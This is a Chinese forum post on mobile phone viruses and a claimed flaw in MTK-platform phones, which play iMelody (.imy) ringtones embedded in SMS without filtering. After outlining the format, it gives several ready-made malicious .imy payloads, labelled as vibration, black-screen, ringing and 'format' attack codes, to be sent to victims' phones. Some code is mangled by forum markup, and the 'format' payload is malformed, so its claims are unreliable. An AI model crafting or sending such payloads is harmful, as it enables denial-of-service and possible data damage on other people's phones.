资料源于网络本人收集 .整理. 撰写。主要了解其中的一些原理.思路。
首先我们了解一下
什么是手机病毒?
手机病毒也是一种计算机程序,和其它计算机病毒(程序)一样具有传染性、破坏性。手机病毒可利用发送短信、彩信,电子邮件,浏览网站,下载铃声等方式进行传播。手机病毒可能会导致用户手机死机、关机、资料被删、向外发送垃圾邮件、拨打电话等,甚至还会损毁SIM卡、芯片等硬件。
手机病毒的历史
历史上最早的手机病毒出现在 2000年,当时,手机公司Movistar收到大量由计算机发出的名为“Timofonica”的骚扰短信,该病毒通过西班牙电信公司 “Telefonica”的移动系统向系统内的用户发送脏话等垃圾短信.事实上,该病毒最多只能被算作短信炸弹.真正意义上的手机病毒直到2004年6月才出现,那就是“Cabir”蠕虫病毒,这种病毒通过诺基亚60系列手机复制,然后不断寻找安装了蓝牙的手机.之后,手机病毒开始泛滥.
手机病毒工作原理
手机中的软件,嵌入式操作系统(固化在芯片中的操作系统,一般由JAVA、C++等语言编写),相当于一个小型的智能处理器,所以会遭受病毒攻击。而且,短信也不只是简单的文字,其中包括手机铃声、图片等信息,都需要手机中的操作系统进行解释,然后显示给手机用户,手机病毒就是靠软件系统的漏洞来入侵手机的。手机病毒要传播和运行,必要条件是移动服务商要提供数据传输功能,而且手机需要支持Java等高级程序写入功能。现在许多具备上网及下载等功能的手机都可能会被手机病毒入侵。
imy格式文件
imy是一种设计用于EMS中的铃声,最早支持的一种春代码的单音节铃声,可以用代码调用手机的解码芯片发出一些声音甚至一些核心指令。于2000年由爱立信公司提出,并与2001年6月得到3GPP认可成为标准。
虽然imy是中国移动规定的通用彩信文件格式之一,但是支持这种文件格式自播放和铃声的手机并不多。
漏洞原理
在大部分MTK方案手机中,编写短信息的时候可以插入“imy” 格式的铃声文件
而MTK方案手机在阅读短信息的时候对“imy”文件内容不经过过滤而直接执行。由于同样功能的手机接收到此短信后,在查看信息内容的同时可以听到短信息内插入的“imy”格式文件铃声。所以我们可以在“imy”文件内插入代码,通过代码调用手机的解码芯片发出一些声音甚至一些核心指令。
通过这种方式可实现对MTK方案手机的短信攻击。
了解了以上,我们开始了解“imy”格式文件编写
imy的基本格式:
###########################
BEGIN:IMELODY
VERSION:<version>
FORMAT:<format>
[NAME:<ring_name>]
[COMPOSER:<composer_name>]
[BEAT:<beat>]
[STYLE:<style>]
[VOLUME:<volume>]
MELODY:<melody>
END:IMELODY
###########################
注:[]中为可选项 <>中为变量 两排#号间的内容要存储为*.imy文件(#不要写入)
(1)<version>:版本号,取绝对值 1.2
(2)<format>:格式编号,取值CLASS1.0|CLASS2.0(不了解后者是否被T68支持,一般填CLASS1.0)
(3)<ring_name>:ASCII字符,铃声名
(4)<composer_name>:作者名
(5)<beat>:节奏,取值从25到900bpm(拍/分钟),越大节奏越快,缺省120
(6)<style>:风格。取值为S0|S1|S2。
S0:普通。每音符间有暂停,音符与暂停时间比为20:1,缺省值
S1:持续。每音符间无暂停
S2:断奏。音符与暂停时间比为1:1
(7)<volume>:音量。取值V0到V15。V0为静音,缺省V7
(8)<melody>:旋律字符串
具体格式:
{<silence>|<note>|<led>|<vibe>|<backlight>|<repeat>|<volume>}
<silence>:休止符。
r<duration>[<duration-specifier>]
r<duration>:"0" | "1" | "2" | "3" | "4" | "5",分别为全音符、半音符、1/4音符...1/32音符
<duration-specifier>:"." | ":" | “;” ;延时符,1.5倍、1.75倍与2/3倍)
<note>:音符
格式为
[<octave-prefix>]<basic-ess-iss-note><duration>[<duration-specifier>]
<octave-prefix>:音阶。取值"*0" | "*1" | … | "*8" (a=55Hz) | (a=110Hz) | … | (a=14080 Hz)缺省"*4",代表标准音(小字一组a音为880Hz)特别提示:用68的编辑器录入时只有"*4"到"*8",
<basic-ess-iss-note>:具体唱名。
<basic-note>取值"c" | "d" | "e" | "f" | "g" | "a" | "b"(自然音)
<ess-note>取值"&d" | "&e" | "&g" | "&a" | "&b"(降半音)
<iss-note>取值"#c" | "#d" | "#f" | "#g" | "#a"(升半音)
<led>:led特效。"ledoff" | "ledon" ledoff即led off 意为关闭了点特效
<vibe>:振动特效。"vibeon" | "vibeoff"
<backlight>:背景灯特效。"backon" | "backoff"
<repeat>:重复特效。"("+<melody>+"@n)" n取值0到无穷大
了解格式我们编写就容易多了 好了 开始编写吧···
一.在电脑上用纪事本输入如下代码···
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:([email=ledoffledonbackoffbackonvibeon@300]ledoffledonbackoffbackonvibeon@300[/email])
END:IMELODY
保存后缀名为imy格式的文件 一个手机病毒就这样诞生了
我们来解说一下
第一句和第四句我不解释了 自己一看就懂
第二句和第三句分别是版本号和格式编号
接下来就是 BEAT:100 那么这句就是将节奏设为每分钟/100拍
主要是第五句···
MELODY:([email=ledoffledonbackoffbackonvibeon@300]ledoffledonbackoffbackonvibeon@300[/email])
旋律字符串:{(led特效关)(led特效开)(背景关)(背景开)(振动特效开)(重复特效300次)
由此而看这是一个振动病毒 看节奏为每分钟为100拍的话
那么就可以说这是一个狂震代码
呵呵 简单吧 看清楚没什么难的··
不如我再给几个实例
黑屏代码:
BEGIN:IMELODY
BEAT:1200
MELODY:([email=ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600]ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600[/email])
END:IMELODY
振铃代码:
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:200
MELODY:([email=ledoffbackoffvibeonr5vibeoffledonbackonr5@200]ledoffbackoffvibeonr5vibeoffledonbackonr5@200[/email])
END:IMELODY
格式化代码:(慎用)
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MTK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
(+"@9999999999999999999999999">"+<melody>+"@9999999999999999999999999)"
(注意:以上代码对诺基亚类手机无效 可能是诺基亚不支持imy格式文件)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)